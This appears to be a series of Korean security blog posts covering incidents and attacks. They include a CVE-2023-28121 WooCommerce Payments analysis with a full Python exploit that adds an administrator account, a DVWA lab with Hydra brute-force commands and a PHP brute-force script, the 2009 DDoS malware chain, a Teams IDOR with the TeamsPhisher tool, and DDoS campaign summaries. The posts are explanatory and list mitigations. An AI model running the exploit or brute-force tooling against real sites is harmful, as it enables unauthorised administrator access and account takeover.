1. WordPress WooCommerce Payments 플러그인

- WordPress란 사용자가 전문적인 기술과 지식 없이도 웹사이트에서 콘텐츠를 생성, 관리 및 수정할 수 있도록 도와주는 CMS(Contents Management System)

- WooCommerce Payments란 오픈 소스 전자상거래 솔루션

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-28121

- WordPress용 WooCommerce Payments 플러그인에 조작된 요청을 보내 인증되지 않은 사용자가 관리자 권한을 얻을 수 있는 취약점 (CVSS 9.8)

- 2023.07.14부터 지속적으로 공격이 이루어지고 있음

- 영향받는 버전
WordPress용 WooCommerce Payments 플러그인 버전 5.6.1 이하

 

2.1 분석

- 해당 취약점은 Platform-Checkout-Session.php의 init()에서 발생

> Line 25에서 요청 메시지의 쿠키를 사용해 현재 사용자 결정

add_filter( 'determine_current_user', [ __CLASS__, 'determine_current_user_for_platform_checkout' ] );

 

> Line 36~46 determinate_current_user_for_platform_checkout()에서 특정 헤더 값을 이용해 사용자 결정

⒜ 관련 헤더: X-WCPAY-PLATFORM-CHECKOUT-USER

해당 헤더 값이 존재할 경우 검증없이 단순히 값을 반환하여 사용자를 결정

  public static function determine_current_user_for_platform_checkout( $user ) {
    if ( $user ) {
      return $user;
    }
    if ( ! isset( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) || ! is_numeric( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) ) {
      return null;
    }
    return (int) $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'];
  }

 

- Platform-Checkout-Session.php 중 취약점과 관련된 코드의 일부

<?php
/**
 * Class WC_Payments_Session.
 *
 * @package WooCommerce\Payments
 */

namespace WCPay\Platform_Checkout;

/**
 * Class responsible for handling platform checkout sessions.
 * This class should be loaded as soon as possible so the correct session is loaded.
 * So don't load it in the WC_Payments::init() function.
 */
class Platform_Checkout_Session {

  const PLATFORM_CHECKOUT_SESSION_COOKIE_NAME = 'platform_checkout_session';

  /**
   * Init the hooks.
   *
   * @return void
   */
  public static function init() {
    add_filter( 'determine_current_user', [ __CLASS__, 'determine_current_user_for_platform_checkout' ] );
    add_filter( 'woocommerce_cookie', [ __CLASS__, 'determine_session_cookie_for_platform_checkout' ] );
  }

  /**
   * Sets the current user as the user sent via the api from WooPay if present.
   *
   * @param \WP_User|null|int $user user to be used during the request.
   *
   * @return \WP_User|null|int
   */
  public static function determine_current_user_for_platform_checkout( $user ) {
    if ( $user ) {
      return $user;
    }

    if ( ! isset( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) || ! is_numeric( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) ) {
      return null;
    }

    return (int) $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'];
  }

  /**
   * Tells WC to use platform checkout session cookie if the header is present.
   *
   * @param string $cookie_hash Default cookie hash.
   *
   * @return string
   */
  public static function determine_session_cookie_for_platform_checkout( $cookie_hash ) {
    if ( isset( $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) && 0 === (int) $_SERVER['HTTP_X_WCPAY_PLATFORM_CHECKOUT_USER'] ) {
      return self::PLATFORM_CHECKOUT_SESSION_COOKIE_NAME;
    }

    return $cookie_hash;
  }
}

 

2.2 PoC

- 공개된 PoC의 동작은 다음과 같음

① readme.txt를 통해 대상 시스템에서 사용중인 WooCommerce Payments 플러그인의 버전을 확인해 취약 여부 확인

② 취약한 버전일 경우 /wp-json/wp/v2/users API 인터페이스를 활용해 사용자 추가

X-WCPAY-PLATFORM-CHECKOUT-USER 헤더 값을 1로 설정

> 일반적으로 첫 번째 사용자는 관리자이므로, 1로 설정하는 것으로 판단됨

④ 공격자가 관리자 권한을 가진 계정을 생성하게 됨

> determinate_current_user_for_platform_checkout()에 의해 검증없이 관리자 권한으로 설정됨

# CVE-2023-28121
# WooCommerce Payments Unauthorized Administrator Access Exploit 
# by Secragon
# PoC for educational/research purposes only
# Use it at your own risk!

import re
import sys
import urllib3
import requests
import argparse
from colorama import Fore, Style

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


username = "secragon"
password = "OffensiveSecurity123"
email = "exploit@secragon.com"

def check_version(target):
    
    print(Style.RESET_ALL + "Site version:", end=' ')
    try:
        r = requests.get(f"{target}/wp-content/plugins/woocommerce-payments/readme.txt", verify=False)
        version = re.search(r"Stable tag: (.*)", r.text).groups()[0]

    except:
        print(Fore.RED + f'error...')
        exit()


    if int(version.replace('.','')) < 562:
        print(Fore.GREEN + f'{version} - vulnerable!')
    else:
        print(Fore.RED + f'{version} - not vulnerable!')
        exit()

def add_admin(target):

    headers = {
        'User-Agent': 'Secragon Offensive Agent',
        'X-WCPAY-PLATFORM-CHECKOUT-USER': '1'
    }

    data = {
        'rest_route' : '/wp/v2/users',
        'username' : username,
        'email': email,
        'password': password,
        'roles':'administrator'
    }

    print(Style.RESET_ALL + "Getting session:", end =' ')

    s = requests.Session()
    try:
        r = s.get(f'{target}', headers=headers, verify=False)
        print(Fore.GREEN + f'done')
    except:
        print(Fore.RED + f'error...')
        exit()

    print(Style.RESET_ALL + "Adding a new admin:", end =' ')


    r = s.post(f'{target}', data=data, headers=headers, verify=False)
    if r.status_code == 201:
        print(Fore.GREEN + f'done')
    else:
        print(Fore.RED + f'error...')
        exit()


    print(Style.RESET_ALL + "All set! You can now login using the following credentials:")
    print(f'Username: {username}')
    print(f'Password: {password}')
    print()



print()
print(Fore.BLUE + "\t\t --- WooCommerce Payments exploit ---")
print("\t\t      (unauthorized admin access)")
print(Fore.RED + "\t\t\t\t\tby gbrsh@secragon & gnomer0x@secragon")
print(Style.RESET_ALL)


parser = argparse.ArgumentParser()

parser.add_argument('url', help='http://wphost')

if len(sys.argv) == 1:
    parser.print_help()
    print()
    exit()

args = parser.parse_args()

check_version(args.url)
add_admin(args.url)

 

[사진 2] 익스플로잇

 

- 공격자의 조작된 요청에의해 서버에서 201 Created 응답이 발생하며, 악성 계정이 정상적으로 생성

> 201 Created: POST, PUT 메소드 등으로 새로운 데이터를 서버에 생성하는 작업이 성공했음을 나타내는 상태코드

 

[사진 3] 악성 계정 생성

 

3. 대응방안

① 벤더사에서 제공하는 패치를 적용

- 해당 취약점은 2023.03.23 벤더사에서 패치를 배포

 

제품명 영향받는 버전 해결 버전
WooCommerce Payments 4.8.2 이전 버전 4.8.2
4.9.1 이전 버전 4.9.1
5.0.4 이전 버전 5.0.4
5.1.3 이전 버전 5.1.3
5.2.2 이전 버전 5.2.2
5.3.1 이전 버전 5.3.1
5.4.1 이전 버전 5.4.1
5.5.2 이전 버전 5.5.2
5.6.2 이전 버전 5.6.2

 

※ 패치 버전에서는 init() 포함되어 있는 Platform-Checkout-Session.php 파일을 삭제한 것으로 판단됨

 

[사진 4] 취약한 버전(좌) 및 패치 버전(우) 비교

 

4. 참고

[1] https://news.wp-kr.com/wordpress-start-guide/#index-wordpress
[2] https://woocommerce.com/payments/
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-28121
[4] https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/
[5] https://developer.wordpress.org/reference/hooks/determine_current_user/
[6] https://github.com/gbrsh/CVE-2023-28121
[7] https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&nttId=71028&menuNo=205020
[9] https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/#google_vignette
[10] https://www.boannews.com/media/view.asp?idx=120266&page=1&kind=1 

1. 개요

- 최근 크리덴셜 스터핑으로 인한 개인정보 노출 사례가 증가

> 22.12 페이팔 크리덴셜 스터핑 사고 이후 국내 한국장학재단, 워크넷 등에서 관련 사고가 발생

- 이미 다른 곳에서 탈취한 크리덴셜를 이용해 여러 웹 사이트나 앱에 접근을 시도(Stuffing, 대입)하여 개인정보나 자료를 탈취

> 크리덴셜이란 사용자가 본인을 증명하는 수단으로, 대부분의 사용자들이 여러 사이트에 같은 크리덴셜(패스워드)을 사용하고 있기 때문에 발생

> 가능한 모든 계정정보를 대입하는 Brute-Force 공격과 차이를 보임

 

2. 실습

2.1 DVWA Brute-Force: Level Low

[사진 1] 로그인 실패

 

[사진 2] GET 방식

 

- user/user 계정으로 로그인을 시도한 결과 "Username and/or password incorrect" 에러가 출력되며 로그인 실패

- 로그인 방식은 GET 메소드를 사용하며, 사용자로부터 username과 password 변수를 입력받음

- THC Hydra를 이용하여 공격을 자동화하여 실습을 진행

 

THC Hydra
- "The Hacker's Choice"(THC)라는 단체에서 개발하여 배포하는 명령행 기반의 모의침투(pentest) 도구
- SSH, TELENT, HTTP, HTTPS, FTP, LDAP, SMB, SNMP, POP3 등 다수의 통신규약에 대해 사전기반 비밀번호 공격도구
- 웹취약점분석에서는 관리자나 사용자 계정을 취약하게 관리하는 지의 여부를 점검할 수 있음

 

- 먼저 DVWA IP는 192.168.56.109이며, 로그인은 GET 방식으로 이루어짐

hydra 192.168.56.109 http-form-get

 

- 로그인 페이지는 /vulnerabilities/brute/, 사용자가 입력한 정보는 username=admin&password=user&Login=Login로 전달

- 로그인 실패 시 Username and/or password incorrect. 문자열이 출력

hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."

 

- 실습 레벨이 Low라는 것을 사용자 쿠키 정보(개발자도구_F12 확인)를 통해 서버에 전달

hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=37a1e75f8d963b6d9e0e254eef82422f"

 

- 이미 탈취한 계정정보(계정/비밀번호)를 저장한 파일을 사용해 요청 전송

- -t 옵션을 4로 지정해 동시에 4개씩 접속하도록 함

hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=37a1e75f8d963b6d9e0e254eef82422f" -L week.txt -P pass.txt -t 4

 

[사진 3] 탈취한 계정 목록

 

- 출력 결과를 통해 유효한 계정은 admin/password인 것을 알 수 있음

※ 명령 수행 결과 출력이 오래 걸려 사진 대체

[사진 4] 수행 결과

 

- Low 레벨의 PHP 소스를 확인해보면 비밀번호를 md5 해시화

- 사용자 입력값을 그대로 사용하며, 반복 로그인 시도 및 실패에 따른 계정 잠금 등의 조치가 없어 반복적인 대입이 가능

$user = $_GET[ 'username' ];

$pass = $_GET[ 'password' ];
$pass = md5( $pass );

$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

 

2.2 DVWA Brute-Force: Level Medium

- Low Level에서 security 쿠키 값만 medium으로 변경하여 요청 재전송

 

hydra 192.168.56.109 http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=mediun;PHPSESSID=37a1e75f8d963b6d9e0e254eef82422f" -L week.txt -P pass.txt -t 4

 

[사진 5] 수행 결과

 

- Medium 레벨의 PHP 소스를 확인해보면 username,password 변수에 mysql_real_escape_string() 함수를 사용해 사용자 입력값을 필터링

- SQL Injection 관련 취약점에 대해서는 대응이 가능하지만 반복적인 대입 공격에는 대응하지 못함

$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );
    
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );

 

2.3 DVWA Brute-Force: Level High

- Level High의 PHP 소스를 확인해보면 사용자의 token과 세션 token을 비교해 동일한 경우 로그인이 수행

- 사용자 token 값은 숨겨진 속성으로 전송되며, 로그인을 수행할때마다 값이 변경됨

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );

$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );

 

- 구글 조회를 통해 사용자 token을 받아온 후 해당 token을 이용해 로그인을 수행하는 스크립트를 사용

- 스크립트 사용 결과 계정 정보는 admin/password로 확인됨

<?php
$user_list = array( 'root', 'admin', 'manager' );
$pass_list = array( '123456', 'qwerty', '123456789', 'password', '12345678' );

foreach ($user_list as $user) {
    foreach ($pass_list as $pass) {
        $c = curl_init('http://192.168.206.136/vulnerabilities/brute/index.php');
        curl_setopt($c, CURLOPT_COOKIE, 'PHPSESSID=gulk7ha641o55qk52os77asr42; security=high');
        curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
        $page = curl_exec($c);
        $needle = "user_token' value='";
        $token = substr($page, strpos($page, $needle)+strlen($needle), 32);
        curl_close($c);

        $c = curl_init('http://192.168.206.136/vulnerabilities/brute/index.php?username='.$user.'&password='.$pass.'&Login=Login&user_token='.$token);
        curl_setopt($c, CURLOPT_COOKIE, 'PHPSESSID=gulk7ha641o55qk52os77asr42; security=high');
        curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
        $page = curl_exec($c);
        curl_close($c);
        if (strstr($page, 'Username and/or password incorrect.')) continue;
        else {
            echo $user.'/'.$pass." 로그인 성공!\n";
            exit(0);
        }
    }
}
?>

 

2.4 DVWA Brute-Force: Level Impossible

- Impossible 레벨의 PHP 소스코드를 확인해보면 3회이상 계정 오입력 시 15분동안 계정을 잠금 처리

- 공격자는 15분동안 대기해야 하므로 반복적 대입 공격이 거의 불가능함

- 하지만, 정상적인 사용자 또한 15분을 대기하여야 하므로 적절한 시간 설정이 필요

// Default values
$total_failed_login = 3;
$lockout_time       = 15;
$account_locked     = false; 

[생략]

if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = $row[ 'last_login' ];
        $last_login = strtotime( $last_login );
        $timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" );
        $timenow    = strtotime( "now" );

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow > $timeout )
            $account_locked = true;
    }

 

3. 대응방안

- 봇 차단

- 다중인증 도입

- 비밀번호 설정 규칙 강화

- 비밀번호 실패 횟수 및 계정 잠금 시간 설정

- 각 서비스마다 고유한 계정정보를 사용

 

4. 참고

[1] https://github.com/vanhauser-thc/thc-hydra
[2] https://medium.com/hacker-toolbelt/dvwa-1-9-ii-brute-force-4cd8efe1c7f2
[3] https://webhack.dynu.net/?idx=20161205.003
[4] http://blog.plura.io/?p=13094

1. 개요

- 09.07.07 ~ 07.10 3차례에 걸쳐 국내 주요 기관 및 인터넷 포털 사이트를 대상으로 대규모 DDoS 공격 발생

> 09.07.04 미국 주요 사이트를 대상으로 공격이 시작되어, 09.07.07 국내 대상 공격이 시작됨

- 정부기관, 은행, 포털, 언론, 쇼핑몰 등 26개 주요 인터넷 사이트가 서비스 제공이 불가능

- 공격 이후 경각심을 깨우치고 공격 예방 및 정보보호 생활화를 위해 매년 7월 둘째 수요일을 정보보호의 날로 지정

 

2. 주요내용

2.1 타임라인

① 웹하드 서버 악성코드 감염

- 미상의 공격자는 웹하드 서비스 업체의 서버에 침입

- 웹하드 프로그램 업데이트 파일에 악성코드를 삽입

 

② 사용자 웹하드 업데이트

- 사용자는 자동 업데이트 등으로 웹하드 업데이트 진행

- 업데이트 파일에 삽입된 악성코드에 의해 msiexec.exe 파일이 악성코드에 감염

※ msiexec.exe

> 파일 경로: C:\Windows\system32

> Windows에서 사용하는 인스톨러 관련 기능을 담당하는 설치 프로그램

 

③ C2 서버 접근

- 감염된 사용자 PC는 C2서버 접속 및 DDoS 공격을 위한 파일 다운로드

- 다운로드 파일: msiexec1.exe, msiexec2.exe, msiexec3.exe

※ 각 파일의 동작 과정은 동일하며, 공격 대상 리스트와 DDoS 공격 방식의 차이를 보임

 

④ 추가 파일 다운로드

- msiexec1.exe은 DDoS 공격을 위한 추가 파일 다운로드

> msiexec2.exe, msiexec3.exe의 경우 uregvs.nls 파일의 내용만을 변경하며 나머지 과정은 동일

파일명 설명
uregvs.nls - 공격 대상과 관련된 정보 저장
- 공격 대상, 공격 시작/종료 시각 정보 등
wmiconf.dll - DDoS 공격에 이용되는 트래픽 발생
- 윈도우 서비스 등록 후 uregvs.nls에서 공격 대상을 읽어 DDoS 공격 수행
vme.bat 자신을 포함하여 다운 받은 파일이 모두 삭제될 때까지 반복
wmcfg.exe mstimer.dll을 생성 및 실행
mstimer.dll - Windows Time Service(컴퓨터의 날짜와 시간을 동기화)로 등록하여 스팸 메일 전송
- flash.gif 파일 다운로드
flash.gif 파일 내부에 악성 파일이 삽입되어 있으며, wversion.exe 생성
wversion.exe - mstimer에 의해 조건(2009년 7월 10일 00시)이 만족할 경우 동작
- 모든 하드 디스크에 ‘Memory of the Independence Day’ 문자열을 삽입해 MBR 및 파티션 정보 삭제
- 파괴 전 ppt, xml, doc 등의 중요한 확장자를 검색하여 암호화

 

[사진 1] 파일 동작 과정 요약

⑤ DDoS 공격 수행

- 다운받은 파일을 기반으로 DDoS 수행

> 당시 KISA는 공격이 115,000여개 IP주소에서 공격 트래픽이 발생했다고 발표

- 국내 DDoS 공격 대상

구분 국가/공공기관(7) 금융기관(7) 민간기관(7)
언론사 포털 사이트 보안업체
사이트 청와대
국회
국방부
외교통상부(現 외교부)
한나라당
국가사이버안전센터
전자민원G4C(現 정부24)
농협
신한은행
외환은행
기업은행
하나은행
우리은행
국민은행
조선일보 옥션
네이버(메일, 블로그)
다음(메일)
파란(메일)
알툴즈
안철수 연구소

 

2.2 기존 DDoS와 차이점

기존 DDoS 구분 7.7 DDoS
해커로부터 명령을 받는 명령·제어 서버 존재 C2 존재 여부 악성코드 업데이트 서버 존재
C2 서버의 네트워크를 통한 실시간 공격 공격 방법 일정 주기로 악성코드를 업데이트 받아 
스케줄링을 통한 공격
여러 취약점을 악용한 악성코드로 인한 감염 감염경로 공격자가 정상적인 프로그램에  숨겨둔 악성코드가 동작
C2 서버 차단 대응방안 악성코드 제거
상대적 소수 공격대상 상대적 다수
DDoS 공격 위한 악성코드 1개 악성코드 갯수 압축파일 형태의 악성코드를 다운로드
DDoS 공격 외에도 다양한 악성행위 수행
공격명령내용 모니터링 가능 네트워크 
연결정보
암호화된 채널을 사용
공격자 명령 지속적 수행 악성 행위 단기공격 수행 후 하드디스크 삭제
금전적 이득 공격 목적 사회혼란 유발(추정)

※ 당시 발표된 자료를 기반한 정리로 현황가 차이가 있을 수 있음

 

2.3 당시 사후조치

구분 설명
DDoS 대응체계 확립의 필요성 대두 - 국가 사이버위기 종합대책을 수립 시행
- 금융감독원: DDoS 공격 대응 종합 대책
- 금융결제원: DDoS 공격 대피소 구축

- 행정안전부: 범정부 DDoS 공격 대응 체계 구축
- 방송통신위원회&한국인터넷진흥원
> 영세 기업을 위한 DDoS 공격 사이버 긴급대피소 구축 사업
> 인터넷망 연동 구간 DDoS 공격 대응 체계 구축 3차 사업
> 좀비 PC 치료 체계 시범 구축 사업 등을 추진
인터넷침해사고 주의 경보 발령 시간 경과 및 공격 소강에 따른 단계 완화
민간 협력체계 활용
(유관기관, 포털업체, ISP, 백신업체 등 공조)
숙주 사이트 및 악성코드 유포사이트 차단
악성코드에 의한 하드디스크 파괴 관련 피해 확산 방지를 위한 보안공지 및 복구 지원
- 유관기관: 사태완화 노력 및 피해 사이트와 인터넷 이용자에 대한 지원
- 포털업체: 현 상황 설명 및 피해 주의 공지문 게재
- ISP 업체: 좀비 PC 확인, 숙주·유포 사이트에 대한 차단 조치 수행
- 백신업체: DDoS 악성코드 치료를 위한 전용백신을 개발하여 무료 배포

 

3. 대응방안

구분 조치
사용자 - 백신 최신 업데이트 유지
- OS 최신 업데이트 유지
- 출처가 불분명한 파일 저장 및 실행 금지/주의
- 공식 홈페이지에서 파일 다운로드 등
서비스 제공자 - 내부-외부 네트워크 경계에 방화벽 설치
- Anti-DDoS 솔루션 도입
- 로드밸런싱, 이중화 등으로 서비스 장애 대비
- 주기적 취약점 점검 및 조치하여 최신 상태 유지
- 불필요 또는 미사용 포트 점검 등
국가 - 효율적 대응 체계 마련
- 사이버침해 관련 지원 활성화
- 범국민 대상 보안 관련 자료 또는 공익광고 배포 등

 

4. 참고

[1] https://teamcrak.tistory.com/110
[2] https://ko.wikipedia.org/wiki/7%C2%B77_DDoS_%EA%B3%B5%EA%B2%A9
[3] https://itwiki.kr/w/7.7_%EB%94%94%EB%8F%84%EC%8A%A4
[4] https://www.boannews.com/media/view.asp?idx=21860
[5] https://www.etnews.com/201209110597

1. 개요

- 영국 보안 기업 Jumpsec에 의해 Microsoft Teams에서 취약점 발견

※ Microsoft Teams: MS에서 개발한 비즈니스 커뮤니케이션 플랫폼

외부 사용자가 보안 제어를 우회하여 피싱 메일 유포할 수 있는 취약점

 

2. 주요내용

- MS Teams 사용자는 각각 고유한 테넌트를 가지며, 다른 테넌트의 사용자에게 메시지를 보낼 수 있음

> 테넌시란 조직의 모든 사용자, 그룹, 리소스 및 서비스를 포함하는 컨테이너 역할을 하고, 조직의 전체 온라인 환경을 의미

> 외부 테넌트의 사용자에게 메시지를 보낼 경우 "External(외부)"가 표시됨

 

- 단, 외부 테넌트의 사용자에게 메시지를 보내는 경우 파일을 보낼 수 없도록 차단

[사진 1] 같은 테넌트 구성원에게 메시지 전송(좌) 및 외부 테넌트 구성원에게 메시지 전송(우) 비교

 

- IDOR 취약점을 이용해 [사진 1]의 차단 정책을 우회하여 파일을 전송할 수 있게됨

 

IDOR(Insecure Direct Object Reference) 취약점
- ‘안전하지 않은 직접 객체 참조’
- 공격자가 요청 메시지의 URL 또는 파라미터를 변경해 정상적으로 허용되지 않는 기능을 실행하거나 다른 사용자의 리소스에 접근할 수 있는 공격
- 접근 제어 기능에서 발생하는 문제점 중 하나
- 수평적/수직적 권한 상승이 발생하며, 이로 인해 타 사용자 정보에 접근하거나, 기존 권한으로는 사용이 불가능한 기능을 이용하게 되는 문제가 발생

※ 접근 통제 리스크 사례
① URL이나 파라미터를 조작하여 다른 사용자의 리소스에 접근하거나 허용되지 않은 기능을 실행할 수 있는 경우
② 적절한 인증 및 인가 과정을 거치지 않고 관리자 페이지 접근할 수 있는 경우
③ 디렉토리 트래버셜 취약점과 같이 웹 디렉토리 경로를 벗어난 호스트 내부 경로의 리소스에 접근할 수 있는 경우

※ 수평적 권한 상승: 동일한 권한을 가진 다른 사용자의 객체에 접근
※ 수직적 권한 상승: 지니고 있는 권한을 넘어서는 기능을 수행(관리자 권한 등)할 수 있는 경우

 

- 공격자는 POST 메소드를 이용한 요청에서 ID 값(RECIPIENT_ID)을 수정하여 파일을 전송할 수 있음

/v1/users/ME/conversations/<RECIPIENT_ID>/messages

 

[사진 2] RECIPIENT_ID 값을 변경한 POST 요청 전송

 

- [사진 2]의 결과로 외부 테넌트에 파일을 전송할 수 있게 됨

 

[사진 3] 외부 테넌트 파일 전송

 

- Jumpsec은 MS에 관련 내용 전달

> MS로부터 즉각적인 조치가 필요한 사항이 아니라는 답변외 취약점 조치 계획 등의 답변은 받지 못함

 

2.1 TeamsPhisher

- 외부 테넌트에 파일을 전송하도록 Python으로 제작된 공격 자동화 툴

- 미국 해군의 보안 전문가들이 개발하여 깃허브에 공개

- 툴 사용을 위해서는 MS Teams 계정이 존재해야 함

> 대상 사용자의 존재여부 및 외부 테넌트의 메시지를 수신할 수 있는지 확인한 뒤 동작하며 미리보기 기능을 제공

 

[사진 4] python3 teamsphisher.py -h

 

옵션 설명
필수 -h 사용법 출력
-u Teams 및 Sharepoint 라이선스가 있는 계정
-p Teams 및 Sharepoint 라이선스가 있는 계정 비밀번호
-a 공격 대상에 전송할 파일의 전체 경로
-m 공격 대상에 첨부파일과 함께 전송할 메시지 파일 경로
-e 공격 대상이 1명일 경우 이메일 주소
-l 공격 대상이 N명일 경우 대상의 이메일 주소가 기록된 파일의 전체 경로
선택 --greeting -m 옵션으로 지정한 메시지 앞에 추가할 사용자 지정 인사말
--securelink 수신자만 확인 가능한 링크로 파일을 전송하며, 첨부 파일을 보기 위해 인증 메시지 표시
--personalize 사용자 이름을 식별해 사용자 이름으로 시작하는 메시지를 전송
--preview 미리보기 모드
--delay 각 메시지 전송 시 지연 시간으로 Default 값은 0
--nogreeting  TeamsPhisher에서 사용하는 내장 인사말을 비활성화
--log TeamsPhisher 출력을 로그 파일에 기록 (사용자 홈 디렉터리에 기록)

 

3. 대응방안

- 외부 테넌트와 메시지를 주고 받을 필요가 있는지에 대한 검토

① 불필요 시

> Microsoft Teams 관리 센터 > 외부 액세스 > 해당 기능 비활성화 권고

 

② 일부 조직이 필요한 경우

> 허용 목록에 있는 특정 도메인과의 통신만 허용하도록 설정

> Microsoft Teams 관리 센터 > 외부 액세스

 

- 외부 테넌트 관련 이벤트 로깅

> Jumpsec은 소프트웨어 로깅에 외부 테넌트 관련 이벤트를 추가해 달라는 요청을 전달

> 외부 메시지 요청 모니터링 및 감지를 위한 웹 프록시 로그 구현

 

- 피싱 등 사회공학 공격과 관련된 직원 교육

> 기본 보안 수칙 준수

 

4. 참고

[1] https://labs.jumpsec.com/advisory-idor-in-microsoft-teams-allows-for-external-tenants-to-introduce-malware/
[2] https://medium.com/@timmylepp/microsoft-teams-idor-exploit-8f3aa7158ce1
[3] https://github.com/Octoberfest7/TeamsPhisher

1. 개요

- 23.06.07 지니언스社 Genian NAC 업데이트 서버에 침해사고 의심 정황 발견
> Genian NAC 솔루션 고객사는 금융권, 가상자산 거래소, 제약회사, 방송사, 언로사 등 약 2400 곳
> 23.06.07 경찰의 본사 시스템 조사 후 23.06.08 KISA 신고 
> 23.06.30 홈페이지에 관련 입장문 게시
※ 지니언스: NAC, EDR 솔루션 등을 제공하는 보안 기업
※ Genian NAC: 지니언스에서 개발 및 서비스하는 네트워크 접근 제어 솔루션
※ NAC: 네트워크에 접속하는 사용자나 기기를 식별, 인증, 통제

 

2. 주요내용

- 지니언스 업데이트 서버에서 고객사 NAC 정책서버임의의 파일이(확인되지 않은 파일) 전송된 것을 확인
> 업데이트 서버가 침해되었다고 판단 후 공격자 및 침투 경로 확인 중
※ 업데이트 서버는 클라우드에 위치해 고객사에 설치된 NAC 정책서버와 통신하여 GPDB(Genian Platform DB) 등 동작에 필요한 정보를 주기적으로 업데이트하는 기능을 수행

 

- 솔루션 자동 업데이트를 설정한 고객사를 중심으로 피해 사례가 확산
> 자동 업데이트를 설정한 고객사에 관련 정보 통보

 

- 업데이트 서버의 로그 파일 전수 조사를 통해 파일이 전송된 일부 고객사 확인 및 고지 조치
> 관계당국과 협조하여 고객사의 침해 여부 조사 및 장비 교체 완료

 

- 현재까지 확인된 사항
① 고객사 피해는 확인되지 않음
② 기존 업데이트 체계 전면 중단
③ 새로운 업데이트 체계 및 서버 준비 완료
④ Genian NAC 패치 준비 완료
⑤ 침해 여부 확인을 위한 점검 툴 개발 완료 및 배포

 

3. 기타

- EDR, GPI(내PC지키미) 및 Cloud NAC 제품은 영향 없음
- 고객의 NAC 정책 서버가 폐쇄망에 설치되어 있는 경우 영향 없음
- 추가 진행사항이 있는 경우 지속적 공지 약속

 

4. 참고

[1] https://www.genians.co.kr/notice/2023
[2] https://www.boannews.com/media/view.asp?idx=119744
[3] https://www.edaily.co.kr/news/read?newsId=02912646635646968&mediaCodeNo=257&OutLnkChk=Y

'취약점 > Supply-Chain Attack' 카테고리의 다른 글

Apple CocoaPods 공급망 공격  (0) 2024.07.03
XZ Utils 라이브러리 백도어 (CVE-2024-3094)  (0) 2024.04.01
리포재킹(Repojacking) 공격  (0) 2023.09.14
3CX 공급망 공격  (0) 2023.04.06

1. 개요

- 23.06.15 Killnet은 자신들의 텔레그램에 유럽 은행에 대한 DDoS 연합 공격을 예고

> 친러 해킹단체 Killnet, REvil 및 핵티비스트 Anonymous Sudan 연합

- 공격 대상에는 SEPA, IBAN, WIRE, SWIFT, WISE 등 국제 송금 시스템 등이 포함

 

2. 공격 내용

- 23.06.19 Killnet은 텔레그램을 통해 유럽 투자 은행 (European Investment Bank, EIB)에 대한 공격을 예고

> EIB는 트위터를 통해 eib[.]org, eif[.]org 사이트가 DDoS 공격을 받고있으며, 조치 중으로 발표

> 웹 사이트는 현재까지 모두 접속되지 않음

[사진 1] Killnet 텔레그램 EIB 공격 예고(좌) 및 관련 사이트 접속 불가(우)

 

- 23.06.21 21시경 텔레그램을 통해 국제 금융 공사(International Finance Corporation, IFC)에 대한 공격을 예고

> 공격 이후 텔레그램을 통해 IFC 홈페이지 다운을 주장하였으나, 잠깐 마비된 후 정상화된 것으로 판단됨.

[사진 2] IFC 공격 예고

2.1 Anonymous Sudan

- 23.01부터 활동을 시작한 핵티비스트 그룹
- 스웨덴과 덴마크의 종교적 문제로 공격을 시작
- 일부 보안 업체에서는 수단과 관계없이 러시아의 지원을 받는 해커그룹이라는 의견을 제시

 

2.1.1 공격 특징

- 23.06 Microsoft를 대상으로 DDoS 공격을 진행하여 Azure, Outlook, OneDrive 서비스 중단 발생

> MS에서는 구체적인 공격의 규모를 발표하지 않음

- MS에 대한 공격 당시 어플리케이션 계층(Layer 7) DDoS 공격 진행

 

공격명 설명
HTTP(S) Flood Attacks 대상 서버에 GET, POST Method를 사용해 다수의 연결 요청을 보내 웹 서버의 세션을 소진
Cache Bypass Cache-Control 헤더를 조작해 Cache 서버를 거치지 않고 직접 웹 서버에 요청하여 웹 서버의 자원 소진
